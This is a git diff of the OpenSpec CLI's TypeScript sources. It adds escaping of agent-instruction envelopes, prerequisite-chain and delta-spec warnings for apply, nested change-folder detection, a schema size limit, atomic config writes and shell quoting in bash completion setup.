@@ -233,7 +247,7 @@ export function printInstructionsText(instructions: ArtifactInstructions, isBloc
   if (context) {
     console.log('<project_context>');
     console.log('<!-- This is background information for you. Do NOT include this in your output. -->');
-    console.log(context);
+    console.log(escapeEnvelopeTags(context));
     console.log('</project_context>');
     console.log();
   }
@@ -249,7 +263,9 @@ export function printInstructionsText(instructions: ArtifactInstructions, isBloc
     console.log('<rules>');
     console.log('<!-- These are constraints for you to follow. Do NOT include this in your output. -->');
     for (const rule of rules) {
-      console.log(`- ${rule}`);
+      // Flattened so a newline cannot forge a sibling bullet, but never
+      // truncated: these are instructions an agent has to follow in full.
+      console.log(`- ${escapeEnvelopeTags(sanitizeInline(rule, Infinity))}`);
     }
     console.log('</rules>');
     console.log();
@@ -274,7 +290,7 @@ export function printInstructionsText(instructions: ArtifactInstructions, isBloc
       const fullPath = path.join(changeDir, dep.path);
       console.log(`<dependency id="${dep.id}" status="${status}">`);
       console.log(`  <path>${fullPath}</path>`);
-      console.log(`  <description>${dep.description}</description>`);
+      console.log(`  <description>${escapeEnvelopeTags(dep.description)}</description>`);
       console.log('</dependency>');
     }
     console.log('</dependencies>');
@@ -290,7 +306,7 @@ export function printInstructionsText(instructions: ArtifactInstructions, isBloc
   // Instruction (guidance)
   if (instruction) {
     console.log('<instruction>');
-    console.log(instruction.trim());
+    console.log(escapeEnvelopeTags(instruction.trim()));
     console.log('</instruction>');
     console.log();
   }
@@ -298,7 +314,10 @@ export function printInstructionsText(instructions: ArtifactInstructions, isBloc
   // Template
   console.log('<template>');
   console.log('<!-- Use this as the structure for your output file. Fill in the sections. -->');
-  console.log(template.trim());
+  // Copied verbatim into the artifact file, so its `<!-- ... -->` comments and
+  // `<placeholder>` markers must survive - only the envelope's own closing
+  // tags are neutralized.
+  console.log(escapeEnvelopeTags(template.trim()));
   console.log('</template>');
   console.log();
 
@@ -350,6 +369,136 @@ function toTaskItems(parsed: ParsedTask[]): TaskItem[] {
   return tasks;
 }
 
+/**
+ * The command that builds one artifact.
+ *
+ * Every earlier remedy here named the `openspec-continue-change` skill, which
+ * the `core` profile never installs - the advice was a dead end for the default
+ * install. The CLI verb exists on every profile and is what the skill runs.
+ */
+function describeArtifactRemedy(
+  changeName: string,
+  artifactId?: string,
+  options: { many?: boolean } = {}
+): string {
+  const target = artifactId ?? '<artifact>';
+  const verb = options.many ? 'Create each with' : 'Create it with';
+  return (
+    `${verb} \`openspec instructions ${target} --change ${changeName}\`` +
+    ` (\`openspec status --change ${changeName}\` shows what is left).`
+  );
+}
+
+/**
+ * Finds the artifact a schema path is generated by, so a remedy can name it.
+ */
+function findArtifactIdFor(
+  schema: { artifacts: { id: string; generates: string }[] },
+  generates: string
+): string | undefined {
+  return schema.artifacts.find((artifact) => artifact.generates === generates)?.id;
+}
+
+/**
+ * Everything still to build before apply can run, in build order.
+ *
+ * Apply blocks on the schema's `apply.requires` alone, so its own list stops at
+ * the first hop: a change with only a proposal is told "Missing artifacts:
+ * tasks" while the specs `tasks` depends on are missing too. An agent that
+ * takes that literally writes the tracking file straight from the proposal and
+ * skips the artifacts in between - the failure reported in #834 and #869.
+ * Walking `requires` names the whole chain, the same set and order
+ * `openspec status` already prints, without changing what apply blocks on.
+ */
+function collectMissingPrerequisites(input: {
+  requiredArtifactIds: string[];
+  schema: { artifacts: { id: string; requires: string[] }[] };
+  buildOrder: string[];
+  completed: Set<string>;
+}): string[] {
+  const { requiredArtifactIds, schema, buildOrder, completed } = input;
+  const byId = new Map(schema.artifacts.map((artifact) => [artifact.id, artifact]));
+  const missing = new Set<string>();
+  const queue = [...requiredArtifactIds];
+  const seen = new Set<string>(queue);
+
+  while (queue.length > 0) {
+    const id = queue.shift() as string;
+    const artifact = byId.get(id);
+    if (!artifact) continue;
+    if (!completed.has(id)) missing.add(id);
+    for (const dependency of artifact.requires) {
+      if (seen.has(dependency)) continue;
+      seen.add(dependency);
+      queue.push(dependency);
+    }
+  }
+
+  const order = new Map(buildOrder.map((id, index) => [id, index]));
+  return [...missing].sort(
+    (a, b) => (order.get(a) ?? 0) - (order.get(b) ?? 0)
+  );
+}
+
+/**
+ * Warnings apply reports alongside its instruction.
+ *
+ * Apply gates on the schema's `apply.requires` only, so a change whose tasks
+ * file was written ahead of its specs reads as ready even though no delta spec
+ * exists - the state `openspec validate` rejects. Blocking here would be a
+ * policy change; naming the gap is not, and it is what keeps apply from being
+ * the one surface that green-lights a change every other surface flags.
+ *
+ * Only reported once apply is past its own gate: for a change that has not
+ * reached tasks yet, the missing specs are the next step rather than a warning.
+ * Schemas that declare no spec-producing artifact carry `skip_specs` from
+ * creation, so this never fires on them.
+ *
+ * A delta file the merge path never reads (specs/<capability>.md, a note
+ * beside spec.md) still satisfies the specs glob, so it reads as written here
+ * while validate rejects it and archive would drop it. Each one is named.
+ */
+async function collectApplyWarnings(input: {
+  state: ApplyInstructions['state'];
+  schema: { artifacts: { id: string; generates: string }[] };
+  changeDir: string;
+  changeName: string;
+  skippedArtifacts?: Set<string>;
+}): Promise<string[]> {
+  const { state, schema, changeDir, changeName, skippedArtifacts } = input;
+  if (state === 'blocked') return [];
+
+  const specArtifacts = schema.artifacts.filter((artifact) =>
+    isSpecsArtifactPath(artifact.generates)
+  );
+  if (specArtifacts.length === 0) return [];
+  if (specArtifacts.some((artifact) => skippedArtifacts?.has(artifact.id))) return [];
+  const warnings = (await findUnreadDeltaFiles(path.join(changeDir, 'specs'))).map(
+    (file) =>
+      `specs/${file.path} is not a capability's spec.md, so \`openspec validate ${changeName}\` rejects it and archive never merges it. ` +
+      `Move its requirements into specs/${file.expected}.`
+  );
+  const hasDeltas = specArtifacts.some(
+    (artifact) => resolveArtifactOutputs(changeDir, artifact.generates).length > 0
+  );
+  if (hasDeltas) return warnings;
+
+  const metadataPath = path.join(changeDir, METADATA_FILENAME);
+  // The command names the artifact this schema actually declares, never the
+  // literal `specs`. A schema whose spec-producing artifact is `contracts` was
+  // told to run `openspec instructions specs`, an artifact it does not have,
+  // so the warning dead-ended at the exact step meant to resolve it. With more
+  // than one such artifact there is no single right answer, so the id becomes
+  // a placeholder rather than a guess.
+  const specTarget = specArtifacts.length === 1 ? specArtifacts[0].id : '<artifact-id>';
+  return [
+    ...warnings,
+    `This change has no delta specs and does not declare \`skip_specs: true\`, so \`openspec validate ${changeName}\` fails on it. ` +
+      `Write the delta specs before implementing (\`openspec instructions ${specTarget} --change ${changeName}\`), ` +
+      `or add \`skip_specs: true\` to ${metadataPath} if this change really changes no specified behavior.`,
+  ];
+}
+
 export interface GenerateApplyInstructionsOptions {
   planningHome?: PlanningHome;
   references?: ReferenceIndexEntry[];
@@ -403,6 +552,14 @@ export async function generateApplyInstructions(
     }
   }
 
+  // Everything still to build, not just the first hop apply blocks on.
+  const missingPrerequisites = collectMissingPrerequisites({
+    requiredArtifactIds: [...requiredArtifactIds],
+    schema,
+    buildOrder: context.graph.getBuildOrder(),
+    completed: context.completed,
+  });
+
   // Build context files from all existing artifacts in schema
   const contextFiles: Record<string, string[]> = {};
   for (const artifact of schema.artifacts) {
@@ -437,18 +594,35 @@ export async function generateApplyInstructions(
 
   if (missingArtifacts.length > 0) {
     state = 'blocked';
-    instruction = `Cannot apply this change yet. Missing artifacts: ${missingArtifacts.join(', ')}.\nUse the openspec-continue-change skill to create the missing artifacts first.`;
+    const chain =
+      missingPrerequisites.length > missingArtifacts.length
+        ? `\nNot created yet, in build order: ${missingPrerequisites.join(', ')}.` +
+          ` Build the ones this change needs before applying - the schema says which are conditional.`
+        : '';
+    instruction =
+      `Cannot apply this change yet. Missing artifacts: ${missingArtifacts.join(', ')}.${chain}` +
+      `\n${describeArtifactRemedy(
+        changeName,
+        // Only name one when one is left: the first of several would be the
+        // schema's conditional artifact as often as not.
+        missingPrerequisites.length === 1 ? missingPrerequisites[0] : undefined,
+        { many: missingPrerequisites.length > 1 }
+      )}`;
   } else if (tracksFile && !tracksFileExists) {
     // Tracking file configured but doesn't exist yet
     const tracksFilename = path.basename(tracksFile);
     state = 'blocked';
-    instruction = `The ${tracksFilename} file is missing and must be created.\nUse openspec-continue-change to generate the tracking file.`;
+    instruction =
+      `The ${tracksFilename} file is missing and must be created.` +
+      `\n${describeArtifactRemedy(changeName, findArtifactIdFor(schema, tracksFile))}`;
   } else if (tracksFile && tracksFileExists && tasks.length === 0) {
     // Tracking file exists but lists nothing an agent can work on: either no
     // checkboxes at all, or only checkboxes with no text after them.
     const tracksFilename = path.basename(tracksFile);
     state = 'blocked';
-    instruction = `The ${tracksFilename} file exists but contains no tasks to work on.\nAdd tasks to ${tracksFilename} or regenerate it with openspec-continue-change.`;
+    instruction =
+      `The ${tracksFilename} file exists but contains no tasks to work on.` +
+      `\nAdd tasks to ${tracksFilename}, or rebuild it: ${describeArtifactRemedy(changeName, findArtifactIdFor(schema, tracksFile))}`;
   } else if (tracksFile && remaining === 0 && total > 0) {
     state = 'all_done';
     instruction = 'All tasks are complete! This change is ready to be archived.\nConsider running tests and reviewing the changes before archiving.';
@@ -461,6 +635,14 @@ export async function generateApplyInstructions(
     instruction = schemaInstruction?.trim() ?? 'Read context files, work through pending tasks, mark complete as you go.\nPause if you hit blockers or need clarification.';
   }
 
+  const warnings = await collectApplyWarnings({
+    state,
+    schema,
+    changeDir,
+    changeName,
+    skippedArtifacts: context.skippedArtifacts,
+  });
+
   return {
     changeName,
     changeDir,
@@ -470,6 +652,8 @@ export async function generateApplyInstructions(
     tasks,
     state,
     missingArtifacts: missingArtifacts.length > 0 ? missingArtifacts : undefined,
+    ...(missingPrerequisites.length > 0 ? { missingPrerequisites } : {}),
+    ...(warnings.length > 0 ? { warnings } : {}),
     instruction,
     ...(references !== undefined ? { references } : {}),
     ...operationInputs,
@@ -524,7 +708,7 @@ export async function applyInstructionsCommand(options: ApplyInstructionsOptions
 }
 
 export function printApplyInstructionsText(instructions: ApplyInstructions): void {
-  const { changeName, schemaName, contextFiles, progress, tasks, state, missingArtifacts, instruction } = instructions;
+  const { changeName, schemaName, contextFiles, progress, tasks, state, missingArtifacts, warnings, instruction } = instructions;
 
   console.log(`## Apply: ${changeName}`);
   console.log(`Schema: ${schemaName}`);
@@ -540,7 +724,23 @@ export function printApplyInstructionsText(instructions: ApplyInstructions): voi
     console.log('### ⚠️ Blocked');
     console.log();
     console.log(`Missing artifacts: ${missingArtifacts.join(', ')}`);
-    console.log('Use the openspec-continue-change skill to create these first.');
+    if (
+      instructions.missingPrerequisites &&
+      instructions.missingPrerequisites.length > missingArtifacts.length
+    ) {
+      console.log(
+        `Not created yet, in build order: ${instructions.missingPrerequisites.join(', ')}`
+      );
+    }
+    console.log();
+  }
+
+  if (warnings && warnings.length > 0) {
+    console.log('### ⚠️ Warnings');
+    console.log();
+    for (const warning of warnings) {
+      console.log(`- ${warning}`);
+    }
     console.log();
   }
 
@@ -641,6 +841,8 @@ function printOperationInputsText(inputs: {
 }): void {
   if (inputs.context) {
     console.log('### Project Context (required instruction input)');
+    // Printed verbatim on purpose. Escaping a leading `#` would also fire inside
+    // fenced code (`# install deps`), so heading forgery is not guarded here.
     console.log(inputs.context);
     console.log();
   }
@@ -648,7 +850,7 @@ function printOperationInputsText(inputs: {
   if (inputs.operationGuidance && inputs.operationGuidance.length > 0) {
     console.log('### Operation Guidance (advisory)');
     for (const guidance of inputs.operationGuidance) {
-      console.log(`- ${guidance}`);
+      console.log(`- ${sanitizeInline(guidance, Infinity)}`);
     }
     console.log();
   }

src/commands/workflow/new-change.ts

@@ -7,6 +7,7 @@
  * this command.
  */
 
+import chalk from 'chalk';
 import ora from 'ora';
 import path from 'path';
 import { createChange, validateChangeName } from '../../utils/change-utils.js';
@@ -85,6 +86,33 @@ function printCreatedChangeHuman(
   console.log(`Next: ${withStoreFlag(root, `openspec status --change ${payload.change.id}`)}`);
 }
 
+/**
+ * An implicit root is the fallback taken when no `openspec/` directory was
+ * found: creating a change there materializes OpenSpec in whatever directory
+ * the caller happened to be in, which is how an agent ends up adopting a
+ * project that never ran `openspec init` (#1645). The creation itself stays
+ * zero-config; this only makes it visible.
+ */
+function printImplicitRootNotice(root: ResolvedOpenSpecRoot): void {
+  if (root.source !== 'implicit') {
+    return;
+  }
+
+  const openspecDir = path.dirname(root.changesDir);
+  const relative = path.relative(process.cwd(), openspecDir);
+  const location = relative && !relative.startsWith('..') ? relative : openspecDir;
+
+  console.log();
+  console.log(
+    chalk.dim(`Note: no OpenSpec root was found here, so one was created at ${location}/.`)
+  );
+  console.log(
+    chalk.dim(
+      'Run `openspec init` to finish setting this project up, or delete that directory if you meant a different project.'
+    )
+  );
+}
+
 export async function newChangeCommand(name: string | undefined, options: NewChangeOptions): Promise<void> {
   const spinner = options.json ? undefined : ora();
 
@@ -153,6 +181,7 @@ export async function newChangeCommand(name: string | undefined, options: NewCha
 
     spinner?.stop();
     printCreatedChangeHuman(payload, root);
+    printImplicitRootNotice(root);
   } catch (error) {
     spinner?.stop();
     if (options.json) {

src/commands/workflow/shared.ts

@@ -7,6 +7,10 @@
 
 import chalk from 'chalk';
 import path from 'path';
+import {
+  describeNestedChange,
+  findNestedChangesIn,
+} from '../../utils/nested-change.js';
 import * as fs from 'fs';
 import { getSchemaDir, listSchemas } from '../../core/artifact-graph/index.js';
 import type { ReferenceIndexEntry } from '../../core/references.js';
@@ -43,6 +47,14 @@ export interface ApplyInstructions {
   tasks: TaskItem[];
   state: 'blocked' | 'all_done' | 'ready';
   missingArtifacts?: string[];
+  /**
+   * Everything still to build before apply can run, in build order - the
+   * transitive closure of the schema's `apply.requires`, so it can be longer
+   * than `missingArtifacts`, which stops at the first hop apply blocks on.
+   */
+  missingPrerequisites?: string[];
+  /** Non-blocking problems with the change, reported alongside the instruction. */
+  warnings?: string[];
   instruction: string;
   /** Referenced-store index (read-only upstream context; omitted when none declared) */
   references?: ReferenceIndexEntry[];
@@ -223,6 +235,14 @@ export async function validateChangeExists(
     );
   }
 
+  // The directory exists but is a namespace folder wrapping nested change
+  // directories. Every artifact lookup below it would report "not started" for
+  // work that is in fact there, so say what is actually wrong instead (#1846).
+  const nested = await findNestedChangesIn(changesDir, changeName);
+  if (nested) {
+    throw new Error(describeNestedChange(nested));
+  }
+
   return changeName;
 }
 

src/commands/workflow/status.ts

@@ -19,7 +19,12 @@ import {
   formatChangeStatus,
   type ChangeStatus,
 } from '../../core/artifact-graph/index.js';
+import { resolveNextStep } from '../../core/change-status-policy.js';
 import { asStatus } from '../shared-output.js';
+import {
+  describeNestedChange,
+  findNestedChanges,
+} from '../../utils/nested-change.js';
 import type { StoreDiagnostic } from '../../core/store/errors.js';
 import {
   validateChangeExists,
@@ -82,6 +87,11 @@ export async function statusCommand(options: StatusOptions): Promise<void> {
     const rootOutput = toRootOutput(root);
     const newChangeHint = withStoreFlag(root, 'openspec new change <name>');
 
+    // One store-flag decision serves the JSON `nextSteps` sentence and the text
+    // `Next:` line, so a store-selected root can never carry `--store` in one
+    // and drop it from the other.
+    const storeOptions = isStoreSelectedRoot(root) ? { storeId: root.storeId } : {};
+
     // Single definition of "load one change's status" so the batch and
     // single-change payloads can never drift apart.
     const loadStatus = (changeName: string): ChangeStatus =>
@@ -90,7 +100,7 @@ export async function statusCommand(options: StatusOptions): Promise<void> {
           changeDir: getChangeDir(planningHome, changeName),
           planningHome,
         }),
-        isStoreSelectedRoot(root) ? { storeId: root.storeId } : {}
+        storeOptions
       );
 
     // Handle no-changes case gracefully — status is informational,
@@ -124,7 +134,25 @@ export async function statusCommand(options: StatusOptions): Promise<void> {
         // with the same comparator validate --all uses so the two batch
         // commands order a given change set identically.
         const entries: BatchStatusEntry[] = [];
+        // The sweep reads each directory straight through `loadStatus`, so a
+        // namespace folder wrapping nested changes would report a whole
+        // artifact plan for work that is not there (#1846). It carries the same
+        // per-change diagnostic a malformed change does.
+        const nestedByName = new Map(
+          (await findNestedChanges(root.changesDir, available)).map((finding) => [
+            finding.name,
+            finding,
+          ])
+        );
         for (const changeName of available.sort((a, b) => a.localeCompare(b))) {
+          const nested = nestedByName.get(changeName);
+          if (nested) {
+            entries.push({
+              changeName,
+              status: [asStatus(new Error(describeNestedChange(nested)), 'change_error')],
+            });
+            continue;
+          }
           try {
             entries.push(loadStatus(changeName));
           } catch (error) {
@@ -150,7 +178,7 @@ export async function statusCommand(options: StatusOptions): Promise<void> {
             console.log();
           }
           if ('artifacts' in entry) {
-            printStatusText(entry);
+            printStatusText(entry, storeOptions);
           } else {
             console.log(chalk.red(`✗ ${entry.changeName}: ${entry.status[0]?.message}`));
           }
@@ -195,14 +223,19 @@ export async function statusCommand(options: StatusOptions): Promise<void> {
       return;
     }
 
-    printStatusText(status);
+    printStatusText(status, storeOptions);
   } catch (error) {
     spinner?.stop();
     throw error;
   }
 }
 
-export function printStatusText(status: ChangeStatus): void {
+export interface PrintStatusTextOptions {
+  /** Selected store id, so the printed command carries `--store`. */
+  storeId?: string;
+}
+
+export function printStatusText(status: ChangeStatus, options: PrintStatusTextOptions = {}): void {
   const doneCount = status.artifacts.filter((a) => a.status === 'done').length;
   const skippedCount = status.artifacts.filter((a) => a.status === 'skipped').length;
   const total = status.artifacts.length - skippedCount;
@@ -232,8 +265,26 @@ export function printStatusText(status: ChangeStatus): void {
     console.log(line);
   }
 
-  if (status.isPlanningComplete) {
+  // Derived from the same inputs as the JSON `nextSteps` sentence, so the two
+  // surfaces always name the same command. Without this line the text surface
+  // reports state and no verb, which leaves someone resuming a change - after a
+  // lost session, or on a change they did not start - with nowhere to go.
+  const nextStep = resolveNextStep({
+    changeName: status.changeName,
+    artifactStatuses: status.artifacts,
+    allArtifactsComplete: status.isPlanningComplete,
+    ...(options.storeId ? { storeId: options.storeId } : {}),
+  });
+
+  if (status.isPlanningComplete || nextStep) {
     console.log();
+  }
+
+  if (status.isPlanningComplete) {
     console.log(chalk.green('All planning artifacts complete!'));
   }
+
+  if (nextStep) {
+    console.log(`Next: ${nextStep.command}`);
+  }
 }

src/core/archive.ts

@@ -23,11 +23,15 @@ import {
   finalizeRetiredSpec,
   type SpecUpdate,
 } from './specs-apply.js';
-import { discoverSpecFiles, hasAnyFileUnder } from '../utils/spec-discovery.js';
+import { discoverSpecFiles, findUnreadDeltaFiles, hasAnyFileUnder } from '../utils/spec-discovery.js';
 import { METADATA_FILENAME, readRetireCapabilitiesMarker, readSkipSpecsMarker } from '../utils/change-metadata.js';
 import { confirmPrompt, isNonInteractivePromptError } from '../utils/interactive.js';
 import { FileSystemUtils } from '../utils/file-system.js';
 import { folderStyleNameProblem } from './id.js';
+import {
+  describeNestedChange,
+  findNestedChangesIn,
+} from '../utils/nested-change.js';
 
 function isMissingPathError(error: unknown): boolean {
   return (
@@ -1177,6 +1181,19 @@ export class ArchiveCommand {
       );
     }
 
+    // Archiving a namespace folder moves an active, unfinished change into the
+    // archive under a name nobody will look for, and never applies its deltas.
+    // That is silent data loss, so it is refused outright rather than warned
+    // about (#1846).
+    const nested = await findNestedChangesIn(changesDir, changeName);
+    if (nested) {
+      throw new ArchiveBlockedError(
+        'archive_change_is_namespace_folder',
+        `Cannot archive '${changeName}': ${describeNestedChange(nested)}`,
+        `Rename openspec/changes/${nested.nested[0]}/ to a flat change directory, then archive it.`
+      );
+    }
+
     const skipValidation = options.validate === false || options.noValidate === true;
 
     // Validate specs and change before archiving
@@ -1225,6 +1242,13 @@ export class ArchiveCommand {
       // folder, so only a regular file counts.
       const rootSpecStat = await fs.stat(path.join(changeSpecsDir, 'spec.md')).catch(() => null);
       let hasDeltaSpecs = rootSpecStat?.isFile() === true;
+      // Likewise for delta sections in any other file the merge path does not
+      // read (specs/<capability>.md, a note beside spec.md): without this the
+      // zero-delta leniency below archives the change as done with nothing
+      // merged, although validate rejects it.
+      if (!hasDeltaSpecs) {
+        hasDeltaSpecs = (await findUnreadDeltaFiles(changeSpecsDir)).length > 0;
+      }
       // A change that declares skip_specs must not carry any file under
       // specs/ — validate reports that as a conflict, so archive has to run
       // the same check instead of skipping validation because the files

src/core/artifact-graph/schema.ts

@@ -38,6 +38,9 @@ export function parseSchema(yamlContent: string): SchemaYaml {
   // Check that all requires references are valid
   validateRequiresReferences(schema.artifacts);
 
+  // Check that the apply phase names artifacts this schema declares
+  validateApplyReferences(schema);
+
   // Check for cycles
   validateNoCycles(schema.artifacts);
 
@@ -74,6 +77,61 @@ function validateRequiresReferences(artifacts: Artifact[]): void {
   }
 }
 
+/**
+ * Validates that every `apply.requires` id is an artifact the schema declares.
+ *
+ * Apply skips an id that no artifact declares, so a typo silently dropped that
+ * artifact from the apply gate. An unknown artifact `requires` is already a
+ * load error, and this is the same kind of reference.
+ *
+ * `apply.tracks` is deliberately not checked here. It is a path, not an id:
+ * apply reads it as written, so a schema whose `tracks` value does not exactly
+ * match any `generates` value (a hand-written `TODO.md`, or `tasks/main.md`
+ * under a glob `generates: tasks/*.md` that really does produce it) works
+ * today, and failing the load would break every command on it.
+ * `openspec schema validate` reports that case as a warning instead
+ * (see `findApplyTracksWarning`).
+ */
+function validateApplyReferences(schema: SchemaYaml): void {
+  const apply = schema.apply;
+  if (!apply) return;
+
+  const validIds = schema.artifacts.map(a => a.id);
+  for (const req of apply.requires) {
+    if (!validIds.includes(req)) {
+      throw new SchemaValidationError(
+        `Invalid apply.requires reference: '${req}' does not exist (artifacts: ${validIds.join(', ')})`
+      );
+    }
+  }
+}
+
+/**
+ * Describes an `apply.tracks` value that is not exactly equal to any artifact's
+ * `generates` value, or returns undefined when there is nothing to report.
+ *
+ * The tracked-tasks lookups select the artifact whose `generates` string equals
+ * `tracks`, so this is a progress-discovery problem, not a claim that nothing
+ * produces the file: a glob `generates: tasks/*.md` really does generate
+ * `tracks: tasks/main.md`, yet the strings differ, so the lookup still misses.
+ * Either way apply keeps working (it reads the path directly), but `openspec
+ * list` and `openspec status` fall back to counting the top-level `tasks.md`,
+ * and apply's remedy cannot name an artifact to build. A typo such as
+ * `task.md` is the other usual cause.
+ */
+export function findApplyTracksWarning(schema: SchemaYaml): string | undefined {
+  const tracks = schema.apply?.tracks;
+  if (tracks == null || schema.artifacts.some(a => a.generates === tracks)) return undefined;
+  return (
+    `apply.tracks '${tracks}' does not exactly match any artifact's generates value ` +
+    `(generates: ${schema.artifacts.map(a => a.generates).join(', ')}), ` +
+    `so OpenSpec cannot tell which artifact's progress it tracks. ` +
+    `Apply still reads that file as written, but list and status count tasks.md instead. ` +
+    `Make apply.tracks exactly equal one of those generates values, ` +
+    `or confirm that file is maintained outside the artifact graph.`
+  );
+}
+
 /**
  * Validates that there are no cyclic dependencies.
  * Uses DFS to detect cycles and reports the full cycle path.

src/core/artifact-graph/types.ts

@@ -22,6 +22,10 @@ function relativePathSchema(fieldName: string) {
 }
 
 // Artifact definition schema
+// Upper bound on artifacts in one schema. Keeps `validateNoCycles`' recursive
+// DFS well inside the stack limit for any accepted input.
+const MAX_ARTIFACTS = 1000;
+
 export const ArtifactSchema = z.object({
   id: z.string().min(1, { error: 'Artifact ID is required' }),
   generates: relativePathSchema('generates field'),
@@ -46,7 +50,15 @@ export const SchemaYamlSchema = z.object({
   name: z.string().min(1, { error: 'Schema name is required' }),
   version: z.number().int().positive({ error: 'Version must be a positive integer' }),
   description: z.string().optional(),
-  artifacts: z.array(ArtifactSchema).min(1, { error: 'At least one artifact required' }),
+  artifacts: z
+    .array(ArtifactSchema)
+    .min(1, { error: 'At least one artifact required' })
+    // Bounded so a hostile schema cannot drive the cycle-detection DFS past the
+    // V8 stack limit and crash with an uncaught RangeError instead of a
+    // validation error.
+    .max(MAX_ARTIFACTS, {
+      error: `A schema may declare at most ${MAX_ARTIFACTS} artifacts`,
+    }),
   // Optional apply phase configuration (for schema-aware apply instructions)
   apply: ApplyPhaseSchema.optional(),
 });

src/core/change-status-policy.ts

@@ -62,20 +62,41 @@ export function buildActionContext(input: ActionContextInput): ActionContext {
   };
 }
 
-export function buildNextSteps(input: ChangeNextStepsInput): string[] {
+/**
+ * The one next action for a change, in both the forms the CLI needs.
+ *
+ * `sentence` is what the JSON `nextSteps` contract publishes; `command` is the
+ * bare command the text surface prints. Both are built here so the two
+ * surfaces can never name a different next step.
+ */
+export interface ChangeNextStep {
+  /** Ready-to-run command, including any `--store` flag. */
+  command: string;
+  /** Sentence form carried by the JSON `nextSteps` array. */
+  sentence: string;
+}
+
+export function resolveNextStep(input: ChangeNextStepsInput): ChangeNextStep | undefined {
   const readyArtifact = input.artifactStatuses.find((artifact) => artifact.status === 'ready');
-  const steps: string[] = [];
   const storeFlag = input.storeId ? ` --store ${input.storeId}` : '';
 
   if (readyArtifact) {
-    steps.push(
-      `Run openspec instructions ${readyArtifact.id} --change "${input.changeName}"${storeFlag} --json before writing that artifact.`
-    );
-  } else if (input.allArtifactsComplete) {
-    steps.push(
-      `All planning artifacts are complete. Run openspec instructions apply --change "${input.changeName}"${storeFlag} --json to inspect implementation progress.`
-    );
+    const command = `openspec instructions ${readyArtifact.id} --change "${input.changeName}"${storeFlag} --json`;
+    return { command, sentence: `Run ${command} before writing that artifact.` };
   }
 
-  return steps;
+  if (input.allArtifactsComplete) {
+    const command = `openspec instructions apply --change "${input.changeName}"${storeFlag} --json`;
+    return {
+      command,
+      sentence: `All planning artifacts are complete. Run ${command} to inspect implementation progress.`,
+    };
+  }
+
+  return undefined;
+}
+
+export function buildNextSteps(input: ChangeNextStepsInput): string[] {
+  const step = resolveNextStep(input);
+  return step ? [step.sentence] : [];
 }

src/core/command-generation/generator.ts

@@ -7,6 +7,7 @@
 import type { CommandContent, ToolCommandAdapter, GeneratedCommand } from './types.js';
 import { getInvocationForAdapter, needsInvocationRewrite } from './invocation.js';
 import { transformCommandInvocations } from '../../utils/command-references.js';
+import { assertWorkflowConditionalsResolved } from '../templates/optional-workflow.js';
 
 /**
  * Generate a single command file using the provided adapter.
@@ -26,6 +27,11 @@ export function generateCommand(
   content: CommandContent,
   adapter: ToolCommandAdapter
 ): GeneratedCommand {
+  assertWorkflowConditionalsResolved(
+    content.body,
+    `Command '${content.id}' was generated without resolving its optional-workflow blocks`
+  );
+
   const invocation = getInvocationForAdapter(adapter);
   const formatted = needsInvocationRewrite(invocation)
     ? { ...content, body: transformCommandInvocations(content.body, invocation) }

src/core/completion-tip.ts

@@ -18,8 +18,8 @@
  *   non-TTY runs, which are deferred rather than consumed (see `silent`)
  */
 import * as fs from 'node:fs';
-import * as path from 'node:path';
 import { getGlobalConfigPath } from './global-config.js';
+import { writeFileAtomically } from './file-state.js';
 import { isCiEnvironment } from '../utils/ci.js';
 import { detectShell } from '../utils/shell-detection.js';
 import { CompletionFactory } from './completions/factory.js';
@@ -109,18 +109,17 @@ function readRawConfig(): Record<string, unknown> | null {
  * write down to this one key, and the rename keeps a reader from ever seeing a
  * half-written config.
  */
-function markTipSeen(): void {
+async function markTipSeen(): Promise<void> {
   const configPath = getGlobalConfigPath();
   const current = readRawConfig() ?? {};
-  const tempPath = `${configPath}.${process.pid}.tmp`;
 
-  fs.mkdirSync(path.dirname(configPath), { recursive: true });
-  fs.writeFileSync(
-    tempPath,
-    JSON.stringify({ ...current, completionTipSeen: true }, null, 2) + '\n',
-    'utf-8'
+  // The shared atomic writer: randomized temp name, owner-only mode, temp file
+  // removed on failure. A predictable `<config>.<pid>.tmp` at the default mode
+  // is both guessable and world-readable once renamed over the config.
+  await writeFileAtomically(
+    configPath,
+    JSON.stringify({ ...current, completionTipSeen: true }, null, 2) + '\n'
   );
-  fs.renameSync(tempPath, configPath);
 }
 
 /**
@@ -148,7 +147,7 @@ export async function maybeShowCompletionTip(
 
     // Record before printing: if the flag cannot be persisted, staying quiet
     // beats reprinting the tip on every future run.
-    markTipSeen();
+    await markTipSeen();
     if (decision === 'show') {
       console.error(`\n${COMPLETION_TIP_MESSAGE}`);
     }

src/core/completions/installers/bash-installer.ts

@@ -3,6 +3,7 @@ import path from 'path';
 import os from 'os';
 import { FileSystemUtils } from '../../../utils/file-system.js';
 import { InstallationResult } from '../factory.js';
+import { shellSingleQuote } from './shell-quote.js';
 
 /**
  * Installer for Bash completion scripts.
@@ -115,10 +116,11 @@ export class BashInstaller {
    * @returns Configuration content
    */
   private generateBashrcConfig(completionsDir: string): string {
+    const quotedDir = shellSingleQuote(completionsDir);
     return [
       '# OpenSpec shell completions configuration',
-      `if [ -d "${completionsDir}" ]; then`,
-      `  for f in "${completionsDir}"/*; do`,
+      `if [ -d ${quotedDir} ]; then`,
+      `  for f in ${quotedDir}/*; do`,
       '    [ -f "$f" ] && . "$f"',
       '  done',
       'fi',
@@ -203,9 +205,11 @@ export class BashInstaller {
       // Remove lines between markers (inclusive)
       lines.splice(startIndex, endIndex - startIndex + 1);
 
-      // Remove trailing empty lines
-      while (lines.length > 0 && lines[lines.length - 1].trim() === '') {
-        lines.pop();
+      // Install puts the block at the top of the file followed by one blank
+      // separator line; drop that line too so the file reads as it did before.
+      // Everything else, including the file's final newline, is left as is.
+      if (startIndex === 0 && lines.length > 0 && lines[0].trim() === '') {
+        lines.shift();
       }
 
       // Write back
@@ -328,14 +332,19 @@ export class BashInstaller {
   private generateInstructions(installedPath: string): string[] {
     const completionsDir = path.dirname(installedPath);
 
+    // Quoted exactly like the auto-configured block: these lines are printed
+    // for the user to paste into their own rc file, so an expansion left in
+    // them runs on every future shell start.
+    const quotedDir = shellSingleQuote(completionsDir);
+
     return [
       'Completion script installed successfully.',
       '',
       'To enable completions, add the following to your ~/.bashrc file:',
       '',
       `  # Source OpenSpec completions`,
-      `  if [ -d "${completionsDir}" ]; then`,
-      `    for f in "${completionsDir}"/*; do`,
+      `  if [ -d ${quotedDir} ]; then`,
+      `    for f in ${quotedDir}/*; do`,
       '      [ -f "$f" ] && . "$f"',
       '    done',
       '  fi',

